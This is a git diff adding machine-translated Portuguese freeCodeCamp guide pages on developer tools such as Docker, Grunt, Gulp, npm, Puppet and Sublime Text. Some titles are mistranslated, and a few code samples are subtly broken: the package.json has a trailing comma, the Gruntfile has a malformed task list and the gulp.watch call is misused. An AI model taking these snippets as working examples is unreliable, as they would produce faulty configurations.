+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/index.md
@@ -0,0 +1,11 @@
+---
+title: Developer Tools in Browsers
+localeTitle: Ferramentas de desenvolvedor em navegadores
+---
+## Ferramentas de desenvolvedor em navegadores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
new file mode 100644
index 0000000000..3a8432fb64
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Internet Explorer Developer Tools
+localeTitle: Ferramentas do desenvolvedor do Internet Explorer
+---
+## Ferramentas do desenvolvedor do Internet Explorer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/docker/index.md b/client/src/guide/portuguese/developer-tools/docker/index.md
new file mode 100644
index 0000000000..a407cef379
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/docker/index.md
@@ -0,0 +1,68 @@
+---
+title: Docker
+localeTitle: Docker
+---
+O Docker é um software de código aberto destinado a facilitar a implantação de aplicativos. Ele oferece a possibilidade de construir contêineres, incluindo um sistema operacional, bibliotecas e tudo o que você precisa para executar seu aplicativo. Portanto, seu aplicativo pode ser implantado em qualquer máquina. Sua estrutura leve permite que você executar vários contêineres na mesma máquina. Uma imagem contêiner é um pacote executável lightwieght, autônomo, de um software que inclui tudo necessário para executá-lo.
+
+### Características
+
+Contêineres do Docker em execução em uma única máquina compartilham o kernel do sistema operacional dessa máquina; eles começam instantaneamente e usam menos computação e RAM. Imagens são construído a partir de camadas do sistema de arquivos e compartilha arquivos comuns. Isso minimiza o uso do disco e os downloads de imagens são muito mais rápidos.
+
+Os contêineres Docker são baseados em padrões abertos e executados em todas as principais distribuições \* nix, Microsoft Windows e em qualquer infraestrutura, incluindo VMs, bare-metal e na nuvem.
+
+Os contêineres do Docker isolam os aplicativos uns dos outros e da infraestrutura subjacente. O Docker fornece o isolamento padrão mais forte para limitar o aplicativo problemas para um único contêiner em vez de toda a máquina.
+
+## Visão geral
+
+Uma imagem de contêiner é um pacote executável leve e autônomo de um software que inclui tudo o que é necessário para executá-lo: código, tempo de execução, ferramentas do sistema, bibliotecas do sistema, configurações. Disponível para aplicativos baseados em Linux e Windows, o software conteinerizado sempre será executado da mesma forma, independentemente do ambiente. Os contêineres isolam o software de seus arredores, por exemplo, diferenças entre ambientes de desenvolvimento e de preparação e ajudam a reduzir conflitos entre equipes que executam software diferente na mesma infraestrutura.
+
+### Veja também
+
+*   Docker Compose: para criar e gerenciar vários contêineres ao mesmo tempo.
+
+### Contêineres vs. Máquinas virtuais
+
+*   Os contêineres virtualizam o sistema operacional, tornando-os mais portáteis, enquanto as VMs virtualizam o hardware.
+*   Os contêineres são uma abstração na camada de aplicativo que agrupa código e dependências. As VMs são uma abstração de hardware físico, transformando um servidor em muitos. O hipervisor ajuda a VM a fazer isso.
+*   [CONTENTORES NÃO SÃO VMS](https://blog.docker.com/2016/03/containers-are-not-vms/)
+
+### Instalação do Docker
+
+O Docker está disponível em duas edições: Community Edition (CE) e Enterprise Edition (EE).
+
+[Instale-o daqui](https://docs.docker.com/engine/installation/)
+
+Uma vez instalado tente isto
+```
+$ docker run hello-world 
+ 
+ Hello from Docker! 
+```
+
+Esta mensagem mostra que sua instalação parece estar funcionando corretamente.
+
+### Onde usar o Docker
+
+*   [8 maneiras reais comprovadas de usar o Docker](https://www.airpair.com/docker/posts/8-proven-real-world-ways-to-use-docker)
+    
+*   [O que é o Docker e quando usá-lo](https://www.ctl.io/developers/blog/post/what-is-docker-and-when-to-use-it/)
+    
+
+### Tutoriais do Docker
+
+*   [Documentação](https://docs.docker.com/get-started/)
+    
+*   [Docker para iniciantes](https://docker-curriculum.com/)
+    
+*   [Tutoriais e cursos do Docker](https://hackr.io/tutorials/learn-docker)
+    
+*   [Treinamento Docker. Aprenda Docker From Docker. Treinamento Oficial Docker.](https://training.docker.com/)
+    
+
+#### Mais Informações:
+
+Você pode encontrar muitas informações nos seguintes sites:
+
+*   [Site do Docker](https://www.docker.com/)
+*   [Docker docs](https://docs.docker.com/)
+*   [DockerHub](https://hub.docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/grunt/index.md b/client/src/guide/portuguese/developer-tools/grunt/index.md
new file mode 100644
index 0000000000..75c249f9cb
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/grunt/index.md
@@ -0,0 +1,119 @@
+---
+title: Grunt
+localeTitle: chão
+---
+## Grunhido
+
+`Grunt` é um executor de tarefas JavaScript que você pode usar para automatizar tarefas repetitivas.
+
+### Por que usar o grunhido?
+
+Existem muitas tarefas repetitivas no desenvolvimento web. Por exemplo: compilar, minimizar e copiar arquivos. Realizar essas tarefas manualmente exige muito esforço e tempo.
+
+Você tornará seu trabalho mais fácil com o Grunt. Você só precisa configurar as tarefas através de um [Gruntfile](https://gruntjs.com/sample-gruntfile) .
+
+### Começando
+
+1.  Instale o [npm](https://www.npmjs.org/) .
+2.  Instale a interface de linha de comando (CLI) do Grunt globalmente com o `npm install -g grunt-cli` .
+3.  Listar Grunt e os plugins Grunt como devDependencies em um arquivo `package.json` .
+4.  Instale os plugins Grunt e Grunt com `npm i` .
+5.  Configure tarefas em um arquivo `Gruntfile.js` .
+6.  Corra Grunt com `grunt` .
+
+### Exemplo
+
+Abaixo está um exemplo de um `package.json` e `Gruntfile.js` para `Gruntfile.js` as seguintes tarefas:
+
+1.  Minimize arquivos HTML.
+2.  Adicione os prefixos do fornecedor e diminua o arquivo CSS.
+3.  Concatene e diminua os arquivos JavaScript.
+4.  Minimize imagens.
+
+#### package.json
+
+```json
+{ 
+  "name": "project-name", 
+  "version": "0.1.0", 
+  "devDependencies": { 
+    "grunt": "latest", 
+    "grunt-contrib-htmlmin": "latest", 
+    "grunt-postcss": "latest", 
+    "autoprefixer": "latest", 
+    "cssnano": "latest", 
+    "grunt-contrib-uglify": "latest", 
+    "grunt-contrib-imagemin": "latest", 
+  } 
+ } 
+```
+
+#### Gruntfile.js
+
+```javascript
+module.exports = function(grunt) { 
+ 
+  grunt.initConfig({ 
+    htmlmin: { 
+      options: { 
+        removeComments: true, 
+        collapseWhitespace: true 
+      }, 
+      html: { 
+        files: [{ 
+          expand: true, 
+          cwd: "src/", 
+          src: "**/*.html", 
+          dest: "dest/" 
+        }] 
+      } 
+    }, 
+ 
+    postcss: { 
+      options: { 
+        processors: [ 
+          require("autoprefixer")(), 
+          require("cssnano")() 
+        ] 
+      }, 
+      css: { 
+        src: "dest/css/*.css" 
+      } 
+    }, 
+ 
+     uglify: { 
+      js: { 
+        files: { 
+          "dest/js/main.js": "src/js/*.js" 
+        } 
+      }, 
+    }, 
+ 
+    imagemin: { 
+      img: { 
+        options: { 
+          optimizationLevel: 5, 
+          quality: 75 
+        }, 
+        files: [{ 
+          expand: true, 
+          cwd: "src/img/", 
+          src: "**", 
+          dest: "dest/img/" 
+        }] 
+      } 
+    }, 
+  }); 
+ 
+  grunt.loadNpmTasks("grunt-contrib-htmlmin"); 
+  grunt.loadNpmTasks("grunt-postcss"); 
+  grunt.loadNpmTasks("grunt-contrib-uglify"); 
+  grunt.loadNpmTasks("grunt-contrib-imagemin"); 
+ 
+  grunt.registerTask("default", ["htmlmin", "postcss", "uglify, imagemin"]); 
+ }; 
+```
+
+#### Mais Informações:
+
+Documentação do Grunt: [Começando](https://gruntjs.com/getting-started)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/gulp/index.md b/client/src/guide/portuguese/developer-tools/gulp/index.md
new file mode 100644
index 0000000000..c83ef50753
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/gulp/index.md
@@ -0,0 +1,66 @@
+---
+title: Gulp
+localeTitle: Gole
+---
+## Gole
+
+`Gulp` é um executor de tarefas JavaScript usado para automatizar várias tarefas que fazem parte de um fluxo de trabalho de desenvolvimento de JavaScript. Ele é usado para executar tarefas que você programou e seu principal caso de uso é executar ações repetitivas que são usadas como um caminho do processo de construção para um projeto JavaScript.
+
+### Por que o Gulp é útil?
+
+Essas tarefas geralmente incluem coisas como `code minification` (remoção de espaços em branco de arquivos html e redução de nomes de variáveis ​​para tornar o tamanho do arquivo menor) e `css bundling` (convertendo vários arquivos CSS em um para distribuição com seu aplicativo), que são necessários para otimizar o código para carregar rápido em um navegador da web.
+
+A razão pela qual o `Gulp` é útil nas situações acima é que o processo de minificação e empacotamento precisa acontecer com cada mudança. Não seria eficiente fazer isso manualmente a cada mudança, que é onde uma ferramenta como o `Gulp` , que faz isso automaticamente, é uma ótima ferramenta para desenvolvedores de JavaScript.
+
+Assim como os exemplos relativamente simples acima, o `Gulp` possui centenas de plugins para permitir a automatização de tarefas mais complexas. Essas tarefas podem incluir coisas como:
+
+*   A execução de testes de unidade para testar seu código está funcionando corretamente.
+*   Atualizando seu navegador da Web sempre que um arquivo é salvo, permitindo que suas alterações sejam visualizadas instantaneamente.
+*   Conversão de `SASS` / `LESS` para `CSS` , para que possa ser usada em um navegador.
+*   Otimizando imagens para criar versões `web friendly` para a `web friendly` com tamanhos de arquivo menores para velocidade.
+
+### Como usar o Gulp
+
+Para começar a usar o `Gulp` , o primeiro passo é instalá-lo usando o `npm` . Depois de instalado, um `gulpfile.js` deve ser criado. Este `gulpfile` é um arquivo que contém todas as tarefas `Gulp` que devem ser executadas como parte de seu processo automatizado. As tarefas são escritas em JavaScript. Abaixo está um exemplo muito simples de um `gulpfile` , que pega qualquer arquivo `CSS` da pasta `client/templates` , o qualifica e coloca o arquivo minificado na pasta `build/css` .
+
+```javascript
+var gulp = require('gulp'); 
+ var minifyCSS = require('gulp-csso'); 
+ 
+ gulp.task('css', function(){ 
+  return gulp.src('client/templates/*.css') 
+    .pipe(minifyCSS()) 
+    .pipe(gulp.dest('build/css')) 
+ }); 
+```
+
+Para executar essa tarefa de gulp, tudo que você precisa fazer é digitar `gulp css` em um terminal na raiz do seu projeto.
+
+Assistir os arquivos CSS para quaisquer alterações e executar a tarefa "css" depois que ela for salva.
+
+```javascript
+gulp.watch('css') 
+  .on('change', ['css']); 
+```
+
+### Dependências de Tarefas
+
+Por padrão, o gulp executará todas as tarefas definidas ao mesmo tempo e não esperará nada. Para executar várias tarefas na ordem correta, você pode adicionar uma tarefa como uma dependência a outra tarefa.
+
+```javascript
+gulp.task('two', ['one'], function() { 
+    // task 'one' is done now 
+ }); 
+```
+
+Com o trecho de código acima, a tarefa `two` só será executada após a conclusão da tarefa `one` .
+
+Os Gulpfiles podem ter várias tarefas por arquivo e as tarefas também podem ser divididas em vários arquivos para uma organização. Isso, junto com as centenas de plugins disponíveis, o tornam uma estrutura muito flexível e útil para desenvolvedores de JavaScript.
+
+#### Mais Informações:
+
+[Site Gulp](https://gulpjs.com/)
+
+[Repositório github Gulp](https://github.com/gulpjs/gulp)
+
+[Guia para iniciantes de gole](https://css-tricks.com/gulp-for-beginners/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/ide-integrated-development-environments/index.md b/client/src/guide/portuguese/developer-tools/ide-integrated-development-environments/index.md
new file mode 100644
index 0000000000..16b5649446
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/ide-integrated-development-environments/index.md
@@ -0,0 +1,23 @@
+---
+title: Integrated Development Environments (IDEs)
+localeTitle: Ambientes de desenvolvimento integrados (IDEs)
+---
+## Ambientes de desenvolvimento integrados (IDEs)
+
+Um Ambiente de Desenvolvimento Integrado (IDE) é um software que consolida as ferramentas básicas que os desenvolvedores precisam para escrever e testar software em um aplicativo.
+
+IDEs oferecem uma interface de usuário gráfica central (GUI) que incorpora o seguinte: _um editor de código, um compilador ou interpretador, um depurador e ferramentas de automação de compilação._
+
+Exemplos de IDEs são:
+
+*   [NetBeans](https://netbeans.org/)
+*   [Eclipse](https://www.eclipse.org/)
+*   [IntelliJ IDEA](https://www.jetbrains.com/idea/)
+*   [Estúdio visual](https://www.visualstudio.com/vs/)
+*   [Xcode](https://developer.apple.com/xcode/)
+*   [Estúdio Android](https://developer.android.com/studio/index.html)
+*   [PyCharm](https://www.jetbrains.com/pycharm/)
+
+#### Mais Informações
+
+[Base de conhecimento do AppSec](https://www.veracode.com/security/integrated-development-environments) [Eclipse.org](https://www.eclipse.org/home/) - uma comunidade de código aberto de ferramentas, projetos e grupos de trabalho colaborativos [Principais IDEs: 51 poderosos ambientes de desenvolvimento para o desenvolvimento simplificado pelo Stackify](https://stackify.com/top-integrated-developer-environments-ides/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/index.md b/client/src/guide/portuguese/developer-tools/index.md
new file mode 100644
index 0000000000..78c978e642
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/index.md
@@ -0,0 +1,14 @@
+---
+title: Developer Tools
+localeTitle: Ferramentas de desenvolvimento
+---
+## Ferramentas de desenvolvimento
+
+Nesta seção, explicaremos uma ampla variedade de ferramentas usadas pelos desenvolvedores.
+
+Alguns exemplos dessas ferramentas:
+
+*   Sistemas de controle de versão
+*   Ferramentas DevOps
+*   Construir ferramentas
+*   Gerenciadores de pacotes
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/kubernetes/index.md b/client/src/guide/portuguese/developer-tools/kubernetes/index.md
new file mode 100644
index 0000000000..85d7029d9c
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/kubernetes/index.md
@@ -0,0 +1,17 @@
+---
+  title: kubernetes
+localeTitle: gubernets
+---
+# Kubernetes
+
+"O Kubernetes é um sistema de código aberto para automatizar a implementação, o dimensionamento e o gerenciamento de aplicativos em contêiner. Ele agrupa os contêineres que compõem um aplicativo em unidades lógicas para facilitar o gerenciamento e a descoberta. 1 "
+
+### Links:
+
+*   [Kubernetes no GitHub](https://github.com/kubernetes/kubernetes)
+*   [Web site do Kubernetes](https://kubernetes.io)
+*   [Tutorial do Kubernetes](https://kubernetes.io/docs/tutorials/kubernetes-basics/)
+
+### Fontes:
+
+*   Os autores do Kubernetes, 2017, kubernetes.io. Acessado em 27 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/lets-encrypt/index.md b/client/src/guide/portuguese/developer-tools/lets-encrypt/index.md
new file mode 100644
index 0000000000..6eaea56ba3
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/lets-encrypt/index.md
@@ -0,0 +1,17 @@
+---
+title: Let's Encrypt
+localeTitle: Vamos criptografar
+---
+## Vamos criptografar
+
+Vamos Criptografar é um livre para usar a Autoridade de Certificação. A maioria dos navegadores suporta e confia em Let's Encrypt certificates. Um certificado de CA é necessário para veicular seu site por HTTPS e fazer com que os navegadores confiem no site.
+
+A maneira mais fácil de começar com o Let's Encrypt é usando o [certbot](https://certbot.eff.org/) , um popular cliente Let's Encrypt que o ajudará a implantar e manter facilmente seu certificado SSL. Um certificado Vamos Criptografar está definido para expirar após 90 dias e pode ser renovado sempre que. Os 90 dias podem parecer um curto período de tempo, mas clientes como o certbot podem ajudá-lo a automatizar a renovação do certificado.
+
+Há uma infinidade de Vamos Criptografar os [clientes para](https://letsencrypt.org/docs/client-options/) além do certbot, então você pode esperar que o Let's Encrypt seja fácil de implementar em seu servidor.
+
+Se você estiver hospedando fora de um servidor VPS / dedicado, você não precisa se preocupar com o suporte ao Let Encrypt. No entanto, se você estiver em um plano de hospedagem compartilhada, seu host terá que ter Vamos criptografar [especificamente](https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920) explicitamente fornecido.
+
+#### Mais Informações:
+
+https://letsencrypt.org/ Vamos Criptografar é uma Autoridade de Certificação livre, automatizada e aberta. https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920 Uma lista de host compartilhado que suporta o Let's Encrypt. https://letsencrypt.org/docs/client-options/ Uma lista de vamos criptografar clientes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/markdown/index.md b/client/src/guide/portuguese/developer-tools/markdown/index.md
new file mode 100644
index 0000000000..47f2155670
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/markdown/index.md
@@ -0,0 +1,15 @@
+---
+title: Markdown
+localeTitle: redução de preço
+---
+## Markdown
+
+O Markdown é uma linguagem de marcação leve com a sintaxe de formatação de texto simples. Ele é projetado para ser convertido em HTML e muitos outros formatos usando uma ferramenta com o mesmo nome. O Markdown costuma ser usado para formatar arquivos LEIA-ME, para gravar mensagens em fóruns de discussão on-line e para criar rich text usando um editor de texto simples. Você também pode escrever Markdown em seu editor de texto (como Sublime Text ou Visual Studio Code). O Markdown está ganhando visibilidade e popularidade através do surgimento de editores de texto simplificados, "livres de distrações".
+
+## Mais Informações:
+
+Uma planilha é uma das maneiras mais fáceis de aprender o Markdown. Confira [esta cartilha popular](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) .
+
+Você também pode conferir este tutorial on-line: [Markdown Tutorial](https://www.markdowntutorial.com)
+
+Adora aprender por vídeos? Confira [este vídeo do Youtube](https://www.youtube.com/watch?v=HndN6P9ke6U)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/npm-cheatsheet/index.md b/client/src/guide/portuguese/developer-tools/npm-cheatsheet/index.md
new file mode 100644
index 0000000000..431d5c1b2b
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/npm-cheatsheet/index.md
@@ -0,0 +1,106 @@
+---
+title: npm Cheat Sheet
+localeTitle: Folha de fraude npm
+---
+## Folha de fraude npm
+
+Uma lista de comandos e sinalizadores de terminal para ajudar a usar o `npm`
+
+## instalar dependências do `package.json`
+
+```shell
+npm install 
+```
+
+**Forma abreviada**
+
+```shell
+# install 
+ npm i <package> 
+ # uninstall 
+ npm un <package> 
+ # update 
+ npm up <package> 
+```
+
+## Listar pacotes instalados globalmente.
+
+```shell
+npm list -g --depth=0 
+```
+
+## Desinstalar pacote global
+
+```shell
+npm -g uninstall <name> 
+```
+
+## Atualize o NPM no Windows
+
+Depois de tentar várias vezes atualizar o npm no Windows, descobri isso enquanto procurava nas pastas npm.
+
+```shell
+npm-windows-upgrade 
+```
+
+## Atualizando pacotes globais
+
+Para ver quais pacotes precisam de atualização, use:
+
+```shell
+npm outdated -g --depth=0 
+```
+
+Para atualizar pacotes globais individualmente, você pode usar:
+
+```shell
+npm update -g <package> <package> <package> 
+```
+
+## listar scripts disponíveis para serem executados
+
+```shell
+npm run 
+```
+
+## atualizar npm
+
+```shell
+npm install -g npm@latest 
+ # using windows? Then use 
+ npm-windows-upgrade 
+```
+
+## bandeiras
+
+`-S` é o mesmo que `--save` não é necessário em npm 5+ `-D` é o mesmo que `--save-dev`
+
+## versão instalada
+
+```shell
+npm list # for local packages 
+```
+
+## Gerenciador de Versão do Nó `nvm`
+
+Digamos que você queira instalar o Nó v6.9.1 que você escreveria no terminal:
+
+```shell
+nvm install 6 
+```
+
+Se você tiver várias versões do Node.js instaladas em sua área de trabalho, poderá alternar para uma versão específica escrevendo:
+
+```shell
+nvm use 4.8.4 
+```
+
+### Tornando uma versão do nó padrão.
+
+Para definir uma versão padrão do nó para o seu espaço de trabalho, basta digitar:
+
+```shell
+nvm alias default 6 
+```
+
+Onde 6 era a versão que você queria usar como padrão.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/npm/index.md b/client/src/guide/portuguese/developer-tools/npm/index.md
new file mode 100644
index 0000000000..fa43a773ae
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/npm/index.md
@@ -0,0 +1,46 @@
+---
+title: npm
+localeTitle: asl
+---
+## npm
+
+O npm é um gerenciador de pacotes e é usado para instalar e gerenciar dependências.
+
+O npm é fundamental para a comunidade vibrante do JavaScript (e especificamente do Node.js), tornando a reutilização de código e módulo em projetos muito simples. Atualmente, o npm tem mais de 500.000 pacotes disponíveis.
+
+O npm é útil não apenas para projetos do lado do servidor. As bibliotecas front-end mais populares, como o Bootstrap e o Font Awesome, também estão disponíveis.
+
+**Nota:**
+
+*   O npm sai da caixa com o Node.js, por isso é necessário instalar o Node.js primeiro
+*   O npm não tem formulário completo devido ao seu uso além dos projetos específicos do Node.js. Anteriormente, era chamado de Gerenciador de Pacotes Node.
+
+### npm uso
+
+O npm é comumente usado na linha de comando. Os comandos abaixo são indiscutivelmente os mais importantes para você começar:
+```
+npm init 
+```
+
+Executar este comando no diretório-raiz do seu projeto inicializa-o para uso com o npm, criando um arquivo `package.json` . Você será solicitado para o nome do projeto, descrição, nome do autor e mais. Esta informação é então usada para preencher o arquivo `package.json` , que também conterá informações sobre as dependências e requisitos do projeto. Você pode alterar essas informações manualmente mais tarde.
+```
+npm install [name-of-package] 
+```
+
+Isso instala um pacote e todas as suas dependências automaticamente e o salva no arquivo `package.json` . Se você estiver instalando uma dependência de desenvolvimento, talvez você queira usar o `--save-dev` ou `-D` . O npm salvará o pacote como uma dependência de desenvolvimento.
+
+Pacotes são instalados localmente no diretório `node_modules` no diretório-raiz do seu projeto. Às vezes você pode querer ter um pacote disponível projetos diferentes. Isso é feito com a opção `--global` ou `-g` . Isso geralmente é útil para ferramentas de desenvolvimento e utilitários de linha de comando.
+```
+npm install 
+```
+
+A execução da instalação do npm no diretório raiz de um projeto sem um nome de pacote específico instala todas as dependências necessárias para esse projeto. Esses são calculado de acordo com o arquivo `package.json` do projeto. Isso demonstra o poder do npm, onde um único comando pode buscar dezenas ou centenas de dependências automaticamente para você, e é útil quando você `git clone` um repositório, por exemplo.
+
+#### Mais Informações:
+
+*   Site do Node.js: [nodejs](https://nodejs.org)
+*   O site oficial do npm, você pode ler sobre o npm, bem como procurar os diferentes pacotes disponíveis: [npmjs](https://www.npmjs.com)
+*   Leia mais sobre npm: [Wikipedia](https://en.wikipedia.org/wiki/Npm_(software))
+*   Um guia para iniciantes do npm: [sitepoint](https://www.sitepoint.com/beginners-guide-node-package-manager/)
+*   Se você quiser uma série de vídeos abrangente, confira: [youtube](https://youtu.be/6fj0cpmMiVg)
+*   E aqui está a série oficial do npm: [youtube](https://youtu.be/pa4dc480Apo)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/puppet/index.md b/client/src/guide/portuguese/developer-tools/puppet/index.md
new file mode 100644
index 0000000000..860e0870a1
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/puppet/index.md
@@ -0,0 +1,53 @@
+---
+title: Puppet
+localeTitle: Fantoche
+---
+## Fantoche
+
+O Puppet é uma ferramenta de gerenciamento de configuração que permite automatizar a configuração e o gerenciamento de sua infraestrutura. Isso ajuda você a economizar tempo automatizando tarefas repetitivas e garantindo que seus sistemas sejam mantidos em um estado desejado.
+
+Puppet vem em duas variedades, Puppet Enterprise e open source Puppet. As plataformas suportadas incluem a maioria das distribuições Linux, várias plataformas UNIX e Windows.
+
+Puppet foi desenvolvido pela [Puppet Labs](https://puppet.com/company) .
+
+### Começando
+
+Você pode configurar sua infraestrutura em uma arquitetura cliente / servidor ou em uma arquitetura independente. O primeiro utiliza a Fantoche `agent` e o boneco `master` aplicações, enquanto que a segunda utiliza o Fantoche `apply` aplicação.
+
+#### Arquitetura de agente / mestre
+
+Nesta arquitetura, um ou mais nós executam o aplicativo mestre do Puppet. Os servidores principais controlam as informações de configuração da infraestrutura completa.
+
+Os nós gerenciados executam o aplicativo do agente Puppet como um serviço de segundo plano e solicitam periodicamente seu `catalog` configuração do (s) mestre (s) do Puppet.
+
+O mestre de marionetes compila e retorna cada catálogo de nós, usando várias fontes de informação. Esta informação recolhida é conhecida como `facts` .
+
+Uma vez que um agente Puppet recebe um catálogo, ele verifica cada recurso descrito nele. Se um recurso não estiver no estado desejado, o agente o corrigirá.
+
+#### Arquitetura autônoma
+
+Nesta arquitetura, cada nó gerenciado possui a cópia da configuração completa.
+
+Cada agente Puppet executa o aplicativo apply como uma tarefa agendada ou cron job.
+
+Como na arquitetura do agente / mestre, o Puppet aplicar compila o catálogo e verifica cada recurso descrito. Se um recurso não estiver no estado desejado, o Puppet apply corrigirá o problema.
+
+Como o aplicativo mestre do Puppet, o Puppet apply precisa de acesso a várias fontes de dados de configuração, que ele usa para compilar um catálogo para o nó que está gerenciando.
+
+#### Catálogo
+
+Um catálogo é um documento que especifica a configuração de uma máquina. Ele lista todos os recursos que precisam ser gerenciados, seu estado desejado e quaisquer dependências entre eles.
+
+O Puppet configura um sistema compilando primeiro um catlog e depois aplicando-o.
+
+#### Fatos
+
+Puppet reúne fatos sobre todos os nós com uma ferramenta chamada `facter` . O Facter reúne as informações necessárias para configurar o sistema. Por exemplo, nomes de host, endereços IP, nomes de sistema operacional, entre outros. No entanto, também é possível adicionar fatos adicionais.
+
+Para mais informações, consulte a documentação da arquitetura Puppet.
+
+#### Mais Informações:
+
+*   [Site](https://puppet.com) oficial do fantoche
+*   Uma visão geral da [arquitetura](https://puppet.com/docs/puppet/5.3/architecture.html) Puppet
+*   Como usar o Puppet para gerenciar seus servidores. Uma série de tutoriais da [DigitalOcean](https://www.digitalocean.com/community/tutorial_series/how-to-use-puppet-to-manage-your-servers-2)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md b/client/src/guide/portuguese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
new file mode 100644
index 0000000000..01f20dc99c
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
@@ -0,0 +1,36 @@
+---
+title: Adding Snippets to Your Sublime Text Installation
+localeTitle: Adicionando trechos à sua instalação de texto sublime
+---
+Se você é um usuário de texto sublime (eu espero que você esteja, ele chuta burro. Você pode obtê-lo [aqui](https://www.sublimetext.com/) ), então você já deve ter notado algumas das capacidades de conclusão de tabulação. Por exemplo, quando você está abrindo uma tag html como `<p>` , ela automaticamente fecha a tag assim que você digita `/` . Você pode obter funcionalidade semelhante para trechos de código que você acaba reescrevendo várias vezes, e é surpreendentemente fácil!
+
+Aqui está um exemplo, que ativa depois de digitar `div` e, em seguida, aba:
+
+![texto alternativo](//discourse-user-assets.s3.amazonaws.com/original/2X/5/59a4d233d2dcb17b76a9c36ca30c5bb07a35d00b.png)
+
+## Passo 1.
+
+Clique em `Tools > New Snippet...` na barra de navegação. Isso abrirá um arquivo skeletton de fragmentos que se parecerá com isto:
+
+![texto alternativo](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a56106fbf754f7e641342d1ebdbc3f5bed582263.png)
+
+## Passo 2.
+
+Você adicionará o snippet substituindo o texto `Hello, ${1:this} is a ${2:snippet}.`
+
+No caso do snippet `div` , é tão simples quanto colocar o seguinte texto na área do snippet:
+```
+<!-- $1 --> 
+ <div class= "$1"> 
+ 
+ </div> 
+ <!-- $1 --> 
+```
+
+O operador `$` referencia as variáveis ​​que serão digitadas depois que você digitar `div` e, em seguida, a guia. Na verdade, você pode ter qualquer número deles!
+
+## Etapa 3.
+
+Salve o arquivo. Você pode dar qualquer nome de arquivo desejado, mas a extensão **deve** ser `.sublime-snippet` . Lembre-se, você só pode ter um snippet por arquivo! Eu gosto de dar nomes descritivos, como `html-div.sublime-snippet` .
+
+E aí está você! Você pode ser tão criativo quanto quiser.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/source-code-editors/index.md b/client/src/guide/portuguese/developer-tools/source-code-editors/index.md
new file mode 100644
index 0000000000..09feef5e5a
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/source-code-editors/index.md
@@ -0,0 +1,68 @@
+---
+title: Source Code Editors
+localeTitle: Editores de Código Fonte
+---
+## Editores de código fonte
+
+Editores de código fonte são os programas que permitem a criação de código e  
+edição. Qualquer editor de texto pode ser usado para escrever código. Mas código dedicado  
+os editores oferecem muitos recursos úteis, incluindo: conclusão de texto,  
+marcação de marcação e separadores / painéis para edição lado a lado. Esses recursos podem  
+ser útil mesmo para novos usuários que não conhecem o caminho de todos os  
+opções avançadas.
+
+### Escolhendo um editor
+
+Existem muitos editores disponíveis para download ou uso  
+online, pago e gratuito. Eles oferecem muitos dos mesmos recursos principais, mas  
+cada um tem suas próprias sutilezas. Outras pesquisas podem ajudar a encontrar o que é  
+certo para você. Os seguintes editores são todos de plataforma cruzada e  
+livre para usar ou avaliar.
+
+### Texto sublime
+
+![Ícone de texto sublime](https://logo.clearbit.com/sublimetext.com)
+
+O Sublime Text é um editor muito popular que existe [desde 2008](https://www.sublimetext.com/blog/articles/one-point-oh) . Há muitas opções e [extensões](https://packagecontrol.io/) disponíveis e muita [ajuda disponível](http://stackoverflow.com/search?q=sublime+text) on-line para ajudar a [configurá-lo](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) . (A licença para uso continuado custa US $ 70. No entanto, o Sublime Text é gratuito para download e avaliação, com um pop-up na tela.)
+
+[sublimetext.com](https://www.sublimetext.com/)
+
+![Sublime Text Screenshot](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
